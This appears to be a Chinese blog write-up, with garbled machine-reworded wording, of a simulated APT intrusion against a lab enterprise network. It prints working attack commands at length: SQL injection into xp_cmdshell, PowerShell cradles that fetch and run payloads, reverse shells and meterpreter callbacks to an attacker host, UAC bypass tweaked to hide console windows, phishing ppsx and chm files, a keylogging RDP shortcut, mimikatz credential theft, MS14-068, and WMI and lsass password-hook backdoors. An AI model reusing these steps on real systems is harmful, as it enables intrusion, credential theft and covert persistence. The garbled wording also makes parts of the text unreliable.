键盘屏幕全记载
APT打击方法花腔繁多,我研究比来的风行的APT打击方法,在当地搭建情况模仿一次复杂的APT打击,在模仿打击进程中发明网上颁布的poc城市有大巨细的缺陷,大大都poc执行进程中城市弹出一闪而过的黑框框,我深入阐发这些剧本,点窜此中的代码,使其执行的进程中打消阿谁一闪而过的黑框框,从而让中招的不会等闲发生狐疑。我研究的目的是表露这样的打击进程,让更多的人理解这样的打击进程,从而可能研究出更有效的进攻办法。
内网的拓扑
拓扑阐明:
【1】10.101.101.0/24的网段模仿的是外网的地点
【2】192.168.101.0/24的网段模仿的是一个小型企业的内网中的利用办事器网络
【3】192.168.111.0/24的网段模仿的是一个小型企业的内网中的办公网络
【4】企业内网可以无限制的拜访到外网,可是外网无法拜访到企业内网
【5】办公网可以无限制的拜访到利用办事器网络,可是利用办事器网络无法拜访到办公网络
【6】局部办事器打了全部的补丁,而且坚持正常更新
日常扫描
发明此办事器凋谢80,82端口,是windows 2008零碎 。在80端口发明有sql注入
首先看数据库和数据库地点的办事器版本:
http:/ /10.101.101.13/?page= 1and@@version> 0--
数据库是2008r2的,数据库地点的操纵零碎是win2008或许win7而后看数据库:
http:/ /10.101.101.13/?page= 1; ifIS_SRVROLEMEMBER( 'sysadmin')= 1waitfor delay '0:0:5'--
这个语句测试数据库的权限,发明有延时,证明是有数据库的权限是dba的权限而后用:
EXEC sp_configure ' showadvancedoptions ',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell ',1;RECONFIGURE;
打开xp_cmdshell的限制,下面创立一个长期表:
https://10.101.101.13/?page=1; createtabletemp( idintidentity( 1, 1),a varchar( 8000)); --
执行ipconfig /all并将成效写入新创立的长期表中
https://10.101.101.13/?page=1; insertintotemp exec master.dbo.xp_cmdshell 'ipconfig /all'; --
读取成效:
https://10.101.101.13/?page=1 and ( selectsubstring(( selecta fromtemp forxmlauto), 1, 4000))> 0--
看上去这个网站是站库别离的网站。
而后用这种办法执行“ping 10.101.101.16”,发明数据库办事器可以通外网,获取这些信息之后,我用下面的指令删除创立的长期表
https://10.101.101.13/?page=1; droptabletemp; --
获取到这么多信息了之后,在自己的机子上开一个web站点,下载nishang的powershell的反弹剧本到自己的web办事器上:https://github.com/samratashok/nishang ,先在自己的主机上用nc -lvvp 8888监听8888端口,等候反弹衔接 。
而后执行
http:/ /10.101.101.13/?page= 1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http:/ /10.101.101.13/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--
我们可以看到执行乐成
可是数据库被降权,权限不高,此刻我把ms15-051的exp上传到自己的办事器,用powershell的长途加载并执行exe的剧本。执行这个exp首先下载powershell的这个剧本
https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
而后执行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA
可以看到提权没有乐成,而且换一个exp也没有乐成
所以下面上msf持续探测 先开启msf的监听功用
而后执行
http: //10.101. 101.13/?page= 1; execmaster..xp_cmdshell( 'IEX(New-Object Net.WebClient).DownloadString("https://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')
这样就从数据库主机上反弹一个meterpreter衔接了。
先用
useauxiliary/scanner/smb/smb_version
扫描smb来获取内网的信息
发明一个mail办事器,用
useauxiliary/scanner/portscan
扫描一下端口 ,发明凋谢了80端口,25,110端口
我用 use auxiliary/server/socks4a 代办署理进内网
在乌云镜像外面没有找到可以用的洞,可是在82端口发明了惊喜
经由过程弱口令轻松进入到后盾,发明一个可以生成静态站的处所
把自界说静态页面存储主门路改成1.asp,而后编纂一篇文章,把木马代码放进去,从头生成静态页面就可以getshell了
这个办事器的82端口不克不及执行cmd,不反对aspx,不克不及跨目录到umail,可是在一个奇怪的处所发明一个一份企业通讯录,下载下来看到办理员邮箱
于是想到用伪造邮件的办法来钓办理员 首先参考两个文章:
https://www.freebuf.com/vuls/144054.html
https://www.91ri.org/15506.html
>>>>
第一种办法
首先用CVE-2017-8570给的exp做一个垂钓用的ppsx 。由于原来的exp要用poershell下载一个shell.exe再执行,这样容易被杀软发明,而且原来的exp执行反弹返来的shell权限不敷,所以要思索绕过uac,让办理员点击恶意的ppsx后静默反弹一个高权限的shell。如果用nishang给的Invoke-PsUACme.ps1,执行之后会有一个一闪而过的黑框框,很让人感触狐疑,去失这个一闪而过的黑框框很复杂,因为我用oobe的办法在win7上绕过uac,所以我在这里只引见在这种条件下去失黑框框的办法。首先去失Invoke-PsUACme.ps1中第206行的“& $execpath”这个代码,之后在挪用Invoke-PsUACme的时候-payload参数写上你要执行的号令,最后用rundll32.exe静默启动C:/Windows/System32/oobe/setupsqm.exe
IEX(New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")
换失原来exp外面的powershell挪用语句 此中uacchm.ps1的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='Start-Process -FilePath rundll32.exe -ArgumentList 'java:"..mshtml,RunHTMLApplication ";new%20ActiveXObject("W.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'
而此中enc前面的数据是经由下面的代码编码而成:
$command = "IEX (New-Object Net.WebClient).DownloadString('https://10.101.101.16/chm.ps1')"$bytes = [System.Text.Encoding] ::Unicode.GetBytes($command) $encodedCommand = [Convert] ::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
编码的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
chm.ps1的内容是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
改好的exp我放在了
https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
用法是:先生成一个恶意的ppsx
python cve -2017-8570_toolkit.py -M gen -w car.ppsx -u http: //10.101.101.16:82/logo.doc
在82端口开启办事
pythoncve-2017-8570_toolkit.py-p82 -Mexp-e10 .101.101.16
Ps: 很多多少时候这个缝隙复现不可功,可以将检查 文件 -> 选项,点击 信任核心设置:
去失这些勾就好
>>>>
第二种办法
这个对照复杂: 用easy chm做一个恶意的chm就好
此中我做的test.html放在了
https://github.com/niexinming/safe_tool/blob/master/test.html
Ps:由于PARAM的value的长度仿佛有某种限制,所以我把
IEX (New- ObjectNet.WebClient).DownloadString( "https://10.101.101.16/uacchm.ps1")base64
编码之后放入PARAM的value中
两个恶意的文件都建造好了,我此刻用swaks伪造邮件把这两个文档发送出去
此刻悄悄等候办理员点击我们的恶意文件,启动msf的exploit/multi/handler模块时候用exploit -j就可以让msf在后盾等候办理员上钩了。 这个时候发明一个办理员中了我们的木马
由于bypass了uac,所以返回的是办理员的shell,我们可以用mimikatz来把暗码脱出来看看
由于办理员的机子不属于任何域,也不是域账号登岸,所以,我需要获取他的在长途登岸其他机子的时候的用户名和暗码,依据 《剖析建造俄罗斯APT组织使用的快捷方法后门文件》这篇文件的引见,我但愿替换长途桌面的快捷方法来监督办理员的行为。
思路是:
(1)正常启动c:windowssystem32mstsc.exe,防止办理员狐疑 ;
(2)由于原来的exp一启动就会有个黑框框一闪而过,要用rundll32的方法来打消黑框框,让恶意代码静态启动;
(3)参数局部要先加260个空格字符前面接着为payload代码,这样减小办理员检查属性的时候看到payload而发生狐疑 ;
(4)参考 《渗透本领——如何巧妙操纵PSR监控Windows桌面》 这个文章静默启动一个桌面步调记载顺序 ;
(5)操纵PowerSploit的Get-Keystrokes.ps1的剧本来记载键盘记载
(6)记载一分钟后把记载的文件暗藏起来
(7)启动metasploit的反弹衔接
(8)点窜图标(对于C:Windowssystem32SHELL32.dll的图标id,有个网站给的很全面,可以点窜通报给图标id来点窜图标)
我把点窜好的代码放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1,长途加载的恶意的powershell代码放在了https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好恶意的快捷方法之后 ,只要点窜rlnk.ps1就可以做你想做的事情了。
>>>>
使用办法
看着已经生成好了,看一下成果
看着对照正常,用起来也很正常,没有卡顿,没有一闪而过的黑框 。如果办理员用到长途登岸快捷方法去长途登岸办事器的话,在c:windowstemp目录下会生成log.dll,这个外面记载的是键盘记载,cap.zip记载的是要害步调截屏
等办理员启动的恶意的长途登岸快捷方法之前,可以用办理员的暗码在利用办事器网段内用use auxiliary/scanner/smb/smb_login碰碰命运
看上去命运欠安啊
等了几天,发明在这个目录下有这个工具了
下载之后看到,键盘记载:
下面是屏幕截图记载
这样我就取得了一个普通域账号的账户名和暗码 。
下面尝尝MS14-068这个缝隙能不克不及乐成,参考文章:
https://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/用proxychain执行goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 哇,居然可以打击
Ps: 打击的时候如果dns在内网要记得hosts的地点绑定
用得到的shell反弹一个poweshell出来到当地8888端口,如果你用下面的语句反弹的话将得到是一个32位的powershell:
powershell IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16-port 8888
这个时候你运行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz
零碎会报错,原因是你不克不及在32位的shell中运行64位的程顺序,这里涉及到一个64位零碎文件重定向的问题,参考:https://www.cnblogs.com/lhglihuagang/p/3930874.html。所以正确的做法是使用下面的代码来反弹一个64位的powershell
C:/ /Windows//SysNative/WindowsPowerShell/ /v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1 ');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888
这个时候你运行
IEX (New- ObjectNet.WebClient).DownloadString( 'https://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikat
你就会得到域控办理员的暗码下面我要在域控上面装置一个隐蔽的后门,参考文章:
https://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
https://wooyun.jozxing.cc/static/drops/tips-15575.html
我操纵三勤学生的办法建造一个wmi的后门,首先: 在自己的web目录下写一个mof.ps1,这个文件作用是用操纵wmi的按时器的功用让零碎每分钟执行一次我们的payload,这个mof.ps1我放在https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1。
我还写了一个可以挟制历程的powershell剧本,我放在https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1,这里我用每分钟执行payload的这个剧本,这里的我的payload我用一个反弹meterpreter衔接的剧本,mof.txt外面的内容:
<?xml version="1.0"?>
<![CDATA[var r = new ActiveXObject("W.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); ]]>
enc编码前的内容依然是:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( 'https://10.101.101.16/chm.ps1')
执行之后,每分钟会反弹一个meterpreter的shell,并且重启后依然会反弹
Ps: 这个wmi的后门我在win10上尝试的时候,不克不及执行payload,如果触发到后门的触发条件的话,win10会弹出openwith.exe这个历程,界面上看便是这个
查了两天材料也没有找到一个正经的处理办法,可是厥后把openwith.exe换成cmd.exe就可以执行payload了,因为win7和win2008没有openwith,所以没有遇到什么阻力就直接执行payload了,可是win10和win8在正常情况下就会打开openwith这个后门的清理方法,可以参考https://www.52pojie.cn/thread-607115-1-1.html
我还想安排一个后门,在域控办理员改暗码的时候记载他的新暗码,参考:https://wooyun.jozxing.cc/static/drops/tips-13079.html,留神他的剧本外面有一个选项可以从你的web办事器加载一个dll到对方主机内存外面,这样你把你的dll生成好之后就可以放在你的web办事器下面,在这个ps1最下面插手
Invoke-ReflectivePEInjection -PEUrl http: //10.101.101.16/HookPasswordChange.dll –procname lsass
就可以了,而后你把这个剧本的挪用插手到chm.ps1外面:下面是改变之后chm.ps1外面的内容:
IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/HookPasswordChangeNotify.ps1")IEX (New- ObjectSystem.Net.WebClient).DownloadString( "https://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16-lport 7777-force
这样就可以任何时候每隔一分钟的时候可以一方面反弹一个meterpreter的衔接,还可以在域办理员改暗码的时候记载他的新暗码
本文引见了web渗透,邮件垂钓,后门布置等奇技淫巧,尤其针对打消各类一闪而过的cmd弹窗给出了我自己的处理思路,如果有问题各人可以在评论区留言,我们独特探讨。
(来历:亚信平安)